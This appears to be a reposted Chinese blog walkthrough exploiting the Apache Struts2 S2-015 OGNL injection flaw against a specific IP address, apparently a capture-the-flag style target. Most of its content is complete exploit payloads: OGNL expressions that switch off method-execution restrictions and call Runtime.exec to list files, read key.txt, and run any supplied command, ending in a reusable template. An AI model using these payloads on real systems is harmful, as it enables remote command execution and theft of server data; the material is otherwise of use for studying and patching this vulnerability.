Struts2-命令-代码执行突破分析系列S2-015

Posted Ananss

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Struts2-命令-代码执行突破分析系列S2-015相关的知识,希望对你有一定的参考价值。

测试漏洞

http://219.153.49.228:45828/${1+2}.action

 

 
技术图片
 

表达式进行了计算,表示漏洞存在,开始构造exp

读取当前文件夹的文件

${#context[xwork.MethodAccessor.denyMethodExecution]=false,#m=#_memberAccess.getClass().getDeclaredField(allowStaticMethodAccess),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(ls).getInputStream()),#q}.action

 

 

 
技术图片
 

 

读取key.txt

${#context[xwork.MethodAccessor.denyMethodExecution]=false,#m=#_memberAccess.getClass().getDeclaredField(allowStaticMethodAccess),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(cat key.txt).getInputStream()),#q}.action

 

 

 
技术图片
 

Exp代码:

${#context[xwork.MethodAccessor.denyMethodExecution]=false,#m=#_memberAccess.getClass().getDeclaredField(allowStaticMethodAccess),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec([命令]).getInputStream()),#q}.action

 

 

以上是关于Struts2-命令-代码执行突破分析系列S2-015的主要内容,如果未能解决你的问题,请参考以下文章

开篇Struts2历史漏洞系列分析文章

Struts2 历史 RCE 漏洞回顾不完全系列

【漏洞分析】【struts2】【s2-005】远程命令执行

漏洞分析 | Apache Struts2 Freemarker标签远程执行漏洞分析和复现(S2-053)

Struts2 REST插件远程执行命令漏洞全面分析,WAF支持检测防御

Struts2再爆远程命令执行漏洞![W3bSafe]Struts2-048 Poc Shell及防御修复方案抢先看!